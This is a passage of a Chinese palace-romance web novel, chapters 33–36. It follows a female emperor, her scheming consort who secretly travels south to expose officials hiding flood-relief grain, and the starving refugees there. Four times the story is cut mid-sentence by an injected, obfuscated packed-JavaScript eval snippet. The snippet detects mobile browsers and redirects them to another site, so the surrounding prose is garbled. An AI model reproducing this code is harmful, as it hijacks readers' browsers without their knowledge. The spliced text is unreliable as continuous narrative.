说着转过身,又重新落座在了刚刚的椅子上,拿起案上的诗册继续翻阅起来,一举一动,哪里还有半点哀怨样子? 裴源:“……” 又被他给耍了。 裴源自觉讨了个没趣,于是转身去忙,边走边嘀咕说:“朕以后万万不敢再惹你了。” 陆长行嘴角微扬,言说不清是得意还是开怀,只道:“凡事再一再二不再三,臣下次不用这招了,陛下放心。” 小凤帝冷哼一声,见墨迹已干,直接菊花茶倒入了砚台少许:“白茶红茶就很好,下次别费心弄这些花茶了,味道奇奇怪怪的,喝不惯。” 柳叶眸微抬,落在远处凤案后的女子脸上:“绿茶也不喜欢了?” 墨块窸窣声里,小凤帝的声音淡淡道:“喝了心慌手抖,不知何故。” 陆长行眉宇紧蹙,裴源从前最爱饮茶时放入干花,就算记忆有失,口味怎还发生了改变? 实在奇怪。 念此,他随手放下诗册,起身阔步行至凤案边,女子似有预料,直接将手递给了他。 冰凉的指尖贴着腕上跳动的脉搏,殿中静谧无声,只有男子的眉头越蹙越紧,片刻后凝着女子:“臣失礼。” 裴源尚未参透他的用意,就见他的手骤然上移,于臂间停驻。随着拇指轻轻摁下,心口竟骤然生出一丝痛意,本就冷白的面容瞬间更添几分苍白。 陆长行急忙收手,女子也在短暂的平复后问他:“是……中毒了?” 见其额前发丝有些散乱,陆长行伸手捋顺的同时,语意轻缓温柔:“陛下不必忧惧,臣为你调养一段时日便会无碍。” 裴源不知他这话是在安抚,亦或是她本就无碍,只知当晚的御膳口味有变,似换了新厨,追问时,乌宛白脸色耐人寻味:“御膳房的宫人因小事闹了龃龉,不知怎地的就传到了君后耳中,君后一怒之下,命人将那几个闹事的尚宫给打死了。” 乌宛白的声音轻飘飘的,宛若御案上飘荡的氤氲热气,飘在空中,最后皆化作了虚无。 裴源也在短暂的愣怔后,淡淡道:“确实该死,朕都不敢惹君后不愉,几个狗奴才,凭什么。” 最后一口汤入喉,裴源没来由的感觉胃中翻涌,却强压着恶心:“赏。” 乌宛白一愣,旋即明白所赏之人是今日的新厨,乖觉的替她们谢了隆恩,拧了温热的帕子递到小凤帝的手里。 侯在紫宸殿外的凌小可这才端着托盘,躬身步入了殿中,小凤帝随手就将帕子扔在了她的托盘里:“南边的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15301099|164313||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 百姓正处于水深火热之中,朕哪有心思开枝散叶?不召。” 凌小可置身未动,一脸愁容:“陛下,您已经快十天未召后君侍寝了,如此下去,奴婢不好和各君交待呀。”说着,竟隐约带了哭腔:“求陛下怜惜怜惜奴婢吧。” 裴源嘴角微抽:“怜惜你?好啊!”裴源看着乌宛白:“把凌尚宫洗干净卷成卷儿,晚点送到朕的榻上来。” 乌宛白:“……” 凌小可碰的一声磕了个响头:“奴婢该死,奴婢失言!” 裴源懒的理会,起身进了内殿,听见乌宛白低声道:“糊涂东西,快退下吧。” 裴源倚在窗前瞧的清楚,凌小可愁眉苦脸的走了,憨态可掬的模样逗笑了裴源,乌宛白奉茶而入时,不自觉也跟着笑。 裴源不禁问道:“你笑什么?” 乌宛白垂眸道:“奴婢见陛下笑了,心中开心,便也笑了。”说话间,人已行至方台前,躬身奉茶:“姜茶最能缓解恶心,陛下饮一杯吧。” 姜茶辛香气味已然缓解了刚才的不适,裴源接过茶盏随口放在窗台上,任风吹着茶气:“你呀,眼睛太毒,朕都担心哪一日你倒戈他人时,轻而易举就能载到你的手里。” 乌宛白脸色巨变,想也不想跪地道:“奴婢该死!” 裴源蹙眉,不解看她:“哪里又该死了?” 乌宛白正色道:“让陛下对奴婢有所疑虑,奴婢该死!” 裴源:“……” 裴源无语道:“朕只是随口开个玩笑,你们一个二个的,总这么紧张做什么?” 乌宛白不知怎么解释,她只知道凤帝从前不喜多言……更不会随随便便的跟奴才开个玩笑。 虽然是同一个人,同一张脸,可如今的凤帝似愈发鲜活了起来。 不再那么死气沉沉、冷若寒霜,虽大多时候还是不苟言笑,可一举一动却惹人怜爱。 “奴婢永远不会背叛陛下。”乌宛白一脸正然,似在宣告着某种神圣的誓言:“若违此誓,天打雷劈。” 34. 第 34 章 “永远……” 明日的事尚且难以掌控,她又怎会轻信“永远”二字。 裴源伏靠竹窗,目光遥向夜空,声音轻若游丝,仿若幻影,乌宛白听得极不真切,只原地候了片刻,见其无任何指使,便悄然退下。 月挂中天时,清风拂窗而入,将沉溺在清梦里的凤帝唤醒。她微微动了下身子,四肢的酸胀瞬间生出酥麻之感,不禁轻哼出声,惊扰了一旁刺绣的男子。 陆长行急忙放下手中针线,执起她的手摁压穴位。须臾,裴源恢复如常,却依旧任由他揉捏手臂:“君后怎会来此?” 陆长行同样侧倚竹窗,姿态闲适,闻言,眼神缱绻的望向她:“臣思念陛下,夜不能寐,故不请自来,还望陛下恕罪。” 这话实在荒诞,裴源笑得身子微颤,披在肩上的薄毯滑落而下。陆长行拾起重新为她披在肩上,语气略带气闷:“臣的话竟如此可笑?” 裴源拢了拢薄毯,虽已醒来,但困意犹存,干脆倒入君后的怀中:“君后妙于心计,巧于言辞,戏弄朕如戏耍猫狗一般。朕才懒的回应你,万一又把你惹哭了,苦恼的还是朕。” 陆长行苦笑:“……臣哪里敢。” 陆长行调整姿势,由她躺的舒服一些,而后一拂袖熄灭了窗上的烛台,室中仅剩下柔和的月光洒入。 陆长行一颔首,就见怀中女子一脸恬静,实在忍不住伸手,沿着她的眉眼、琼鼻轻轻描绘:“陛下真好看,五官精致,般般入画,如同天宫仙娥。” 裴源又是轻笑:“你今日晚膳吃蜜了?哪里就像仙娥了,说的好像你见过一样。” 陆长行挑眉:“臣初见陛下,便觉惊为天人,自此,天宫仙娥的样貌便在臣心里有了轮廓。” 裴源无语:“你就胡扯吧,那年朕才十岁,像飞蛾还差不多。” 陆长行正色道:“臣说的是真的。” 裴源懒的争论此事,侧身面向他的胸膛:“你这么晚过来定然有事,直说吧。” 指尖落空,陆长行不免失落,只能去揉捏着她的耳朵:“陛下今日说神迹一事,臣刚好有个主意。” 裴源这才有了精神,只是耳朵被他捏的发烫,于是将他手握在掌心:“说来听听。” 女子的手很暖,暖意从掌心蔓延心田,激起层层涟漪,陆长行缓了缓情绪:“如今南边洪灾泛滥,赈灾银沉没湖中。除了疫情一事,南边的灾情几乎与臣之前推测的一般无二。” 裴源拇指摩挲着他的掌心,良久的沉思,开口:“你想借疫情一事做文章倒是可行,可文昌帝君管的是文运,与疫情……八竿子打不着啊?” 陆长行眸色微深:“既是神仙入仕,自要有些超乎于常人想象的能力。天降异像,布施恩露,疫病未经散而自愈;被洪灾冲毁的粮仓一夕之间复生干粮。这不正是神迹之像?届时,将文昌帝君的恩泽传入京城,这不都成了帷帽诗仙的功德,齐翁纵然反对,也抵抗不了民意啊。” 裴源想了想:“你说的玄之又玄,非人力可为。就算想到应对之法,就陆萧玉那个榆木脑袋,也不一定能做到。” 陆长行:“臣可以。” 裴源一愣,偏头看向他:“你还会仙术不成?” 陆长行眨了眨眼:“仙术不通,略通控蛊之术。若陛下信得过臣,臣即刻出发,定将此事办成。” 裴源想也不想拒绝:“不行!南边现如乱世一般,朕的名声在那边和猪狗无异!你一个男人过去,万一泄露了身份,发生什么危险朕都不敢想。” “陛下~”陆长行安抚道:“那么多百姓子民处于水火,陛下如何忍心?” “说不行就不行!”困乏之感瞬间消散,裴源负气起身,翩然走下方台:“你不必巧言令色,朕乃九五之尊,说的好听是君临天下,实则统御百官都做不好。百官督吏不及、吏护百姓不周、最后,百姓只能辱骂君王出气。这才是层层分明的天下之序。至于那‘神仙打架,小鬼遭殃’的事,自古已然,今亦如此,朕也无可奈何!” 陆长行追下方台,拉着她的手,声音哽咽:“陛下……” 裴源厉色道:“又要装哭?再一再二不再三,你自己说的。” 陆长行:“……” 裴源似想到了什么,一把挣脱了他的拉扯行至殿外,倚着门框昏昏欲睡的乌宛白被吓的一颤,就听凤帝气呼呼道:“天亮就将狗洞给朕堵上!” 乌宛白:“……?” 虽一头雾水,但点头应是。 而后就见凤帝一把将君后拉回了殿内。 乌宛白越发糊涂,侧耳听到凤帝怒言:“别以为朕不知道,你想趁着天还没亮爬狗洞出去。朕偏不合你意!” 乌宛白:“……” 陆长行更是无语:“臣就不能有个体面一点的出宫方式吗?” 凤帝哼道:“朕都没有,何况君后!” 陆长行抿了抿唇:“好吧。” 裴源负气上榻,静默良久后,陆长行依旧侧立榻旁,气闷道:“还不上来,等朕抱你啊。” 陆长行无奈扶额:“陛下如今是越来越孩子气了。” 裴源又是一声冷哼,指着上天道:“孩子气怎么了?朕是帝王,就算发疯你也得哄着。” 说着,负气转过身,主打一个眼不见心不烦,却听身后传来窸窣声响,不过片刻,自己便被陆长行小心翼翼拥入怀中。男子侧卧前,还不忘在她脸颊印下一吻,安抚声更如春柳拂过地面,轻轻落入裴源的耳中:“臣知错了,陛下别生气了。” 裴源未做回应,只是缓缓展露出笑颜。 事后回想,她笑的有些早了,因为当日散朝后,便在凝辉殿的奏本中,发现了陆长行的书信。 【臣与陛下相识数载,朝夕相伴,深知陛下忧国忧民,心系苍生。如今南方水患肆虐,百姓流离失所,家园尽毁。若是天灾,尚可怨天尤人;然此水患,实乃人祸促之,实在令人悲愤,若不能治罪魁之罪,天理不容。 臣与陛下同心同德,不忍见黎民百姓身处水火,受此无妄之灾。臣愿为陛下分忧, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15304021|164313||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 故扮作宫侍,悄然混出皇宫,前往南方查探灾情,助力赈灾。臣虽才疏学浅,但自幼习武,且有号令百虫之能,可驱使虫豸为臣所用,此行定当无生命之虞。 待灾情缓解,臣自当归与陛下磕头请罪。愿陛下保重凤体,勿念。长行留。】 凝辉殿静默数息,后,帝王雷霆一怒,凤案清空,满地狼藉。 乌宛白瑟瑟入殿捡拾奏本,小凤帝阴沉之语居高落下:“朕,再也不理他了,说到做到。” 乌宛白:“……” 当真是……好恐怖的责罚。 依祖制,君后擅自出宫,德行有亏,当废除君后之位,长居冷宫。 前提是这祖制,需得帝王遵守,否则,如废话无异。 那之后的几天,小凤帝似再也没笑过,整日里面容冷峻,批阅南边递上来的折子。每批复一份,脸色便愈发凝重一分,宛若乌云层层笼罩。 沉没的银舟打捞屡屡失败,附近的粮仓又接连被洪水淹没,奏折内容无非是诉苦连天,讨要银两、讨要灾粮。 每每此时,户部叫苦,太府寺哭穷,齐翁的谋略与权柄再厉害,如今也彻底没了用武之地。裴源更是难抵压力,怒斥道:“户部掌管全国税粮,太府寺掌管着国库钥匙。寻常人家的夫郎尚且知道攒些体己以备不时之需,你们吃着皇粮,拿着俸禄,到了关键时刻,却只会回朕一个‘空虚’!连普通民夫都不如,朕养你们这群废物有什么用!” 早朝再一次不欢而散,回凝辉殿的路上,摩挲着黑玉扳指的凤帝忽而低语:“朕也好想出宫,亲自去南边看看。” 她的声音带着几分疲惫与冷漠,乌宛白颔首贴着御撵而行,小声安抚道:“春雨惊春清谷天,夏满芒夏暑相连。立夏近在眼前,万物至此长大。虽南陵郡等地遭此劫难,可我朝幅员辽阔。陛下圣明,必能妥善安排多多照应,奴婢相信,南陵郡的民生很快就恢复如常。” 裴源垂下眼眸,视线落在乌宛白的脸上:“乌尚宫留在朕身边真是屈才了,若朕给你一州刺史之位,朕相信,你定会做的南陵刺史好上千倍万倍。” 乌宛白一愣,心知是陛下随口之言,故而讪笑道:“奴婢多谢陛下谬赞。” 裴源也微微一笑,目光狡黠:“可朕舍不得乌尚宫,才不会放你出宫呢。” 乌宛白又是一愣,讪笑变的开怀了几分,正欲回些什么,余光瞥见一抹月白身影,急忙收敛笑容,余光瞥向来人。 “臣,见过陛下。” 裴源凝视着御撵下跪着的月白锦袍,眸色中凝出几分寒意。片刻的平复之后,方才若无其事的开了口:“文侧君近来惫懒,一晃儿,朕竟好久未见你了。” 柳玉书心中紧张的情绪似被凤帝这句话安抚了几分。他缓缓抬眸看向凤帝,须臾之后,又不自觉地看向她扶着御撵的手,低声回道:“臣那晚误伤凤体,心中惴惴不安,实在无颜面圣。今日得见天颜,当面请安,便已心满意足。” 言罢,他侧身退了退,颔首恭敬道:“臣,恭送陛下。” 35. 第 35 章 烈日当空,柳玉书跪立未久,青丝便被炙热的阳光炙烤得滚烫,高踞御撵之上的凤眸俯视而下,更令他如芒在背,局促难安。 时间在此刻成了模糊的概念,他只听到自己的心跳咚咚作鼓,面颊宛如火烧。 柳玉书此刻的心绪有些复杂,既想寻个地缝钻进去,又隐隐期盼着一些什么。 终于,御撵缓缓落下,不过数息之间,凤帝明黄的裙角便映入他低垂的眼帘,与此同时,一只白皙的手递到了他面前:“天热,跪久了头晕,文侧君快起来吧。” 短暂的愣怔后,柳玉书如坠迷雾一般,将手落入了凤帝的掌心,由着她拉扶自己起身。 男子掌心洇湿,裴源极力克制,还是因黏腻的触感蹙起眉头,只能状似无意的与之闲聊起来:“最近在忙什么?” 柳玉书任她牵着缓慢前行,交织在一起的手似夺走了他所有的思绪,只如实道:“深宫寂寥,除了看书下棋,臣也不知要忙什么?” 裴源感同身受:“深宫锁步,未尝不是一种刑罚。”她默了默:“入宫前可有喜欢做的事吗?” 柳玉书稍许愣怔,颔首道:“南市有家戏楼,臣是那儿的常客。” “喜欢听戏?”裴源笑笑:“可惜了。” 柳玉书不解。 裴源道:“你若是个女子,大可办成宫女模样,日日陪朕上朝。宣政殿的文武百官各个都是台柱子,戏幕演的那叫一个精彩。” 柳玉书:“……” 裴源又问:“除了看戏,可还有喜欢做的事吗?” 柳玉书沉吟片刻,微微摇头:“臣是个无趣之人,除此之外,的确没有想做之事。” 裴源不禁想到了他的母亲柳文澜,是个循规蹈矩、严谨治学的老学究,柳玉书性情受母亲影响,倒也不足为奇。 可裴源还是说道:“往往那些惊世骇俗之事,都是平素安分守己的老实人做的。你如今说没有想做的事,不过是因为还未曾真正接触过罢了。” 柳玉书不置可否。 红墙两面,夹着一丈宽的青石板路,生活在后宫的人,每日总要走上几个来回。平日里,柳玉书总觉得这条甬道很长,长到看不到边界,行不到尽头,可今日,不过几句话的功夫,就到了去往凝辉殿的角门。 牵在一起的手松开,似抽走了柳玉书的一丝心脉,瞬间空落落的,他颔首垂眸,想要从容告退,但开口时竟隐隐透出几分哽咽。 裴源闻声一拂手,乌宛白便带着人走远了。 她上前一步,替低垂的男子理了理并未凌乱的衣襟,轻语安抚道:“你性子要强,也有点别扭,这点儿和柳博士很像,朕尊重你的傲骨和清高,只是你想的过多,久了久之,心绪便成了乱麻,解不开,理不顺,便会郁结于心。那晚的事儿过了就过了,你又何必纠结一件朕根本不在意的事?” 柳玉书缓缓抬眸,眼眶微微泛红,眼底泛起水汽:“臣多谢陛下宽慰。” 裴源不自觉回想起初见他时,那双清澈的双眸而今竟染上了一缕哀色:“说到底,那夜还是朕误会了你。这样吧……” 她拍了拍他的肩膀:“天儿不错,朕派几个宫人陪你出宫散散心,就当朕给你赔不是了,可好?” 柳玉书愣了愣:“真、真的可以吗?” 裴源点头:“当然。想家了便回家看看,想看戏便去看戏,只要低调一些,不暴露自己的身份即可。” 柳玉书终于展露笑颜:“多谢陛下。” 目送柳玉书的远去,裴源方才从袖口取出一方素白帕子,仔细擦拭着手心,边走边道:“月白袍不衬他的气色,晚点你命内秩署赏些料子给他,再将朕私库的那方棋盘一并带去。” 乌宛白躬身应是,并随手接住了凤帝扔过来的素帕,嘱咐声再次落入耳畔:“他心思细腻,你亲自去送,免得内秩署说了不该说的,枉费了朕的心意。” 乌宛白顺手将素帕塞入袖口:“奴婢省得,陛下放心。” *** 京城艳阳高照,南陵郡亦是晴空万里。 头顶烈日炎炎,脚下泥泞不堪。才走了没多远,便已是大汗淋漓,分不清是热气蒸腾,还是泥水升空的潮气。好不容易找到一处破庙可以歇脚,可才一推开庙门,一股恶臭便扑面而来。 连日的洪浪湍急,地势低洼的周边县城不仅田地被淹没,房宅也被冲毁。百姓们只得收拾家底,奔赴南陵郡。 一则,这里能先一步领到朝廷的救济银两,解燃眉之急;二则,若能寻到便宜房产,也能就地安家。 然而,百姓结伴而来,南陵郡一夜之间人满为患。莫说安家,如今连入城都要历经层层关卡,城外那些暂能遮风避雨的地方,都成了百姓的落脚地。 这两日天气炎热,从后院茅房飘进来的恶臭在殿内经久不散,再加上虫豸肆虐,不过两日,人的脸色便变得蜡黄,看起来病恹恹的。 陆萧玉一行人也显得十分狼狈。纵然泥巴裹满衣裙,却也难掩布料精致。百姓们眼尖,一眼便瞧出这一行人身份贵重,不自觉地将目光落在了她们的行李上。 洪浪突袭,粮食所备不足,连日奔波与滞留,干粮早已见底。不顾面子的娘子早已忍不住上前询问:“老乡,有吃的吗?匀一口就行,家夫刚生产完,饿了两日,实在没奶喂孩子。” 陆萧玉顺势望过去,角落里面黄肌瘦的男子正眼巴巴的看过来,怀里的孩子十分安静,许是饿的没了力气哭泣。 陆萧玉心生恻隐,正要取干粮递过去,却听陆长行抢先道:“一路周折,干粮也吃完了,不过我略通推拿之术,你家夫郎若信得过我,我可帮他催一催。” 那娘子愣了一下,眼睛一转,了悟,急忙去扶自家夫郎过来,对着头戴帷幕的陆长行道:“那就有劳公子了。” 陆长行微微点头,对着陆萧玉道:“寻个毯子遮一下,再去烧壶热水。” 毯子挂在角落,形成了一处隐蔽之地,确保无人窥见,陆长行才从怀里掏出了一张干饼给了民夫,民夫瞬间泪如雨下,却也不敢声张,狼吞虎咽的吃完了一张饼子,差点噎的不能呼吸。 彼时,热水也送了进来,陆长行将干饼浸润其中,待干饼成了糊糊状,才吹凉放到了孩子嘴边,吸吮天性使然,沉睡里的孩子瞬间吮了米糊,声音引来了其他百姓的注意,胆子大的直接走过来翻起了地上的包袱。 凤鸣卫巴馨见势,上前相阻:“你干什么!” 那娘子脸皮也厚,被呵斥了不怒不恼,相反嬉笑道:“俺就是看看,这大包小包的都是什么呀?” 陆萧玉眸色微沉,起身时却露出一脸自如,主动打开了包裹,露出了里面大大小小的纸包:“药材。” 那娘子拿起一包闻了闻,确认时药材后,又不甘的看了眼挂起了毯子,内心进行了一番思量,到底不好意思和婴孩抢吃的,只能失望的退回了原位。 人群里的另一波人却跃跃欲试:“有跌打药吗?”一位娘子步履蹒跚,勉强站起,指着自己腿上伤口道:“我愿出钱买些。” 那伤口深且长,因未及时处理,早已腐烂不堪,周围一片青紫,令人心惊胆寒。 陆萧玉不通医术,只得回头望向角落:“少爷?” 陆长行将面糊递给身旁男子,才掀开毯子,远远瞥了一眼伤口:“你这伤口早已腐败,得剐了腐肉,再重新上药,不然这腿怕是要保不住了。” “什么?”那娘子本就蜡黄的面色瞬间惨白如纸。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15308946|164313||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 周围众人皆倒吸一口凉气,窃窃私语:“这得多疼啊……” 陆长行只问:“要治吗?” 娘子迟疑片刻,低声说道:“我身上仅有几枚铜板,恐付不起公子诊金。” 陆长行神色如常:“天灾无情。我等流民,更当守望相助。我虽无口粮供诸位果腹,却愿意为诸位免费看诊,只要诸位信得过我。” 娘子闻言急忙点头:“信得过,信得过。” 庙中流民身体不适者听闻一拥而上,原本死气沉沉的气氛,稍多了些鲜活气氛,自也有人议论起这场洪灾。 “往年也有连续暴雨的情形,偏今年发了洪灾,有人说:是帝王德行有亏,因而糟了天谴。” 忙前忙后的陆萧玉听到此处脸色一沉:“若是凤帝德行有亏,就该去惩治凤帝,她若真糟了天谴,天雷也该劈向京城,而不是南陵郡!” 百姓自有百姓的见解:“那是因为京城有凤威压制,因而这雷劈偏了,南陵这才遭了殃。” 陆萧玉面色愈发阴沉,冷声道:“荒谬!分明是南陵衙门暗中篡改青云湖河道,致使湖水强行流入化常河。化常河本是一条小溪,骤然涌入大量湖水,焉能不溢出?水溢之后,倒灌田地,摧毁民宅,这才南陵洪灾真相,与凤帝何干?” 破庙中沉默几息,有人不禁嘀咕道:“我就是个粗人,不懂什么改河道的事儿。就算真是改河道导致的洪灾,刺史哪来的胆子做这种事?她难道不怕被砍头吗?” “就是啊,”另一个人附和道:“哪个当官的敢不听凤帝的?照我看,这事儿八成就是凤帝的主意。” “对,就是凤帝的主意!”又一个百姓语气笃定道:“我听说凤帝痴迷那种逆天改命的邪术,她以为改了河道就能改运。说不定,我们这些无辜百姓,都被她当成了祭品。” “我也听说了,说凤帝的皇位不正,先帝都是惨死在了她的手里。先帝不甘,化作厉鬼夜夜纠缠她,凤帝吓得不行,就整天不干正事,到处找那些会邪术的人帮她改命,还用邪法去镇压先帝的鬼魂,真是个不孝女!” 眼见流言越来越荒谬,陆萧玉气的嘴角颤抖,僵紫的脸憋了半天,才说出一句:“你、你们……简直一派胡言!” 陆长行却显得格外冷静,一面耐心给百姓诊治配药,一面细心叮嘱,听到此时,方才淡淡开口:“我们此行恰从京城顺着青云湖一路南下,河流虽湍急,一路上倒也有惊无险,可前我们几日南下的漕运银舟便惨了,一个风浪过来,朝堂运往南陵二十万的赈灾银,全部沉没。至今未打捞上岸。” 破庙中一片唏嘘。 陆长行又道:“我们在青云码头下船,又听闻十数粮仓全部淹没,我觉得奇怪,这化常河分明在青云码头的下游,如何能淹没上游的粮仓,于是我们便悄悄混入了税粮库,结果你们猜怎么着?” 众人纷纷望向头戴帷帽的陆长行,虽看不清他的面容,可就觉得这男子所言非虚。 陆长行也不打哑谜:“衙门口中被淹没的粮仓,根本就没有粮。” 百姓纷纷追问。 陆长行轻飘飘道:“当官的害怕凤帝是不假,可还有一句老话说:天高皇帝远,南陵郡距京千里,凤威再大也架不住当地官员同流合污不是?” 他略略停顿,给了众人反应时间,继而又道:“小弟不才,家中正是做药材生意的,这青云湖的客船,我每个月都要做上两次。有次亲眼得见一娘子不慎将一块玉坠入了湖中,因那玉是家中祖传,意义非凡,故而花重金寻了几个艄公下湖打捞,过程虽有周折,倒也圆满。一块玉尚且能寻到,而今,这二十万的赈灾银连船带银子全部沉没,可官府一连打捞了数日,竟都无果?你们说说,这扯不扯?” 36. 第 36 章 破庙有医郎免费看诊的消息不胫而走,不过一日的光景,周遭流民纷纷涌来,头疼脑热的患者都得了药,其他症状的病患也纷纷得了方子。 医郎身边的长随是个有本事的女人,太阳西落后,带着几个护卫出去了一趟,回来时,竟带回了两袋子粟米,连夜熬了两大锅的稀粥分给了众人。 饿了几日的流民宛若枯草遇见了甘霖,饱餐一顿后,又开始担忧起了明日。 “今日城门贴出告示,朝廷的赈灾银粮迟迟未至,城中粮食已然耗尽。为防横生事端,刺史下令暂封城门。” 说话的是个颇有年纪的长者,略通笔墨,跟在陆长行身边帮着写药方子,听闻在下县私塾中教书,姓石,众人尊她一声:石师仪。 石师仪言此轻叹了一声:“天气炎热,流民越来越多,三五日倒好应对,长此以往,怕是要出事。” 身边的几个娘子都是热心肠,白天帮着熬药,晚上帮着煮粥,心思纯良,似没什么坏心眼,就是脾气有些急,闻言,便又开始骂起了刺史不作为,骂起了凤帝只顾自己享乐,罔顾百姓生死。 石师仪似已看透世事,未顺着众人的话头,反而沉声打破了杂乱的讨论:“事已至此,多说无疑。还需想想当下如何应对才好。” “石师仪说的对,”一娘子手持木棍,颔首在地上画着无意义的图案:“太阳会照常升起,这么多张嘴明日也还要吃饭,城进不去,流民只会越来越多,难保不会横生枝节。” 咒骂声就此停歇,围坐的几人除了叹息声,每个人都显得格外安静。 破庙的角落里,药碾子的窸窣声响不歇,隐隐飘出的血腥味引起了林宁的注意,他偏头望过去,医郎的手心正往下滴着血,不由紧张道:“公子歇会儿吧,手磨出了血了。” 陆长行端坐一旁,来回滚着手中的碾轮,林宁看不见他的容貌,只听清冷之音从帷帽中传出:“天热,人又多,需抓紧制些清热解火的药丸出来,以防中暑。” 陆长行拒绝了林宁的帮忙,任掌心的血流入碾槽,襻膊束着碍事的长袖,露出男子白皙的腕子,古朴的银镯在腕间摇晃时,竟又细沙般大小的子粒悄然掉入药槽。 林宁以为自己眼花,揉了揉眼睛,又低头为襁褓中的婴儿擦去头上的汗珠,才看向人群中的妻主。 妻主虽没什么学识,但性子沉稳,脑子也活络,静坐在原地沉吟了良久,起身悄然凑到了陆萧玉的身侧,小声道:“陆姐,我曾在码头做过苦力,认的装这些栗米的袋子。” 陆萧玉脸色登时一变,紧张道:“我也是为了大伙儿,否则才不会干这些偷鸡摸狗的勾当,那袋子都烧干净了,你也别妄想着害我!” 她的声音很小,只是太过紧张,反而引起了身边几人的注意。 逄蕊急忙解释道:“陆姐误会我的意思了,我的意思是……”她默了默,干脆看着周围几人:“我就直说了吧,那袋子是装税粮的。” 几人皆是面色一震,纷纷看向逄蕊。 逄蕊继续道:“衙门说码头的几个税粮仓全部淹没,可陆姐她们瞧过,仓里没粮,如今陆姐又带回来两袋子干粮……剩下的就不用我明说了吧?” 几人面面相觑,脑子转的快的明白了,有些脑子的笨的,则拉着身边人追问。 石师仪好像早就看出了所以然,只等有人提及,苍老的声音里携着几分厚重的稳妥:“陆娘子知道衙门将税粮藏在了何处,这两袋子是她们偷出来的。” 几人一时惊愕,似又有些愤慨。 “为了一己私利,这些当官的宁愿把粮食藏起来,也不放粮食赈灾,眼睁睁瞧着这么多人饿肚子?她们还是不是人呐!” “就是!这群杀千刀的,就该千刀万剐!” 眼见众人越来越愤怒,逄蕊道:“现在不是说这些的时候。”她环视众人,正色道:“我适才思量许久,心中倒有个主意,只是我一人势单力薄,难以成事,还需大伙儿齐心协力才行。” 几人纷纷看向她,催促道:“都这个时候了,还有啥藏着掖着的,快说罢。” 逄蕊这才正色道:“朝堂上的章法我也不甚清楚,但从今日那告示来看,南陵刺史怕是打定主意不管咱们这些穷苦百姓了。如今这破庙里的人一日比一日多。陆姐她们今日运气好,偷出了两袋粮,可明日后日呢?万一她们清点时发现了疏漏,对粮仓严加看守,再去偷粮被抓,那可就不仅连累了陆姐,咱们怕是只有挨饿的份了。” “是这个道理。”几人点头附和。 逄蕊又道:“虽说凤帝不干正事,但我想着,凤帝每天锦衣玉食,无论如何也瞧不上咱们这些粟米。我看此事就是南陵这些贪官的主意。” 几人不语,只是默默点头。 她看向陆萧玉,目光坚定:“陆姐,此事如今只有咱们几人知晓。你不如把藏粮的地方说出来,咱们一块儿鼓动大伙儿一起把这事闹大,再把她们可能贪污税银的事坐实,努努力将此事传入京城凤帝的耳中!这样一来,既能解决咱们的燃眉之急,也让这些贪官污吏受到应有的教训!” 几人纷纷点头:“逄蕊说的对,或许凤帝知晓此事后,一怒之下会砍了这些贪官的脑袋呢!” 眼见几人越来越亢奋,陆萧玉却显得十分为难,犹豫良久后,才道:“那你们可千万不能告诉别人是我说的,万一连累我们东家遭人报复,我岂非罪人了?” 见几人接连立誓,陆萧玉方才招了招手,轻语道出了藏粮之地…… 南阳府。 尚未立夏,但已有蝉虫破土,锐利的鸣叫声扰人清梦。 南阳王裴若从早起便心绪烦乱,温热的帕子刚接在手里,一眼瞥见门外匆匆而来的戴玥。 “王卿!”戴玥一袭夜行衣尚来不及换,抱拳道:“出事了!” 裴若似早有预感,慢条斯理地拭手,语气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15323254|164313||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 淡漠如冰:“那虫疫毒性甚烈,若无事才怪。”说罢,随手将帕子扔给了下人,冷声道:“说说吧,死了多少人?” 戴玥面色微变,偷瞥裴若一眼,慌忙低下头,终究硬着头皮回道:“回王卿……虫疫未曾爆发……” 裴若猛地看向她,眸光骤然一凛,眼神里透着几分狠厉:“你胡言乱语什么?” 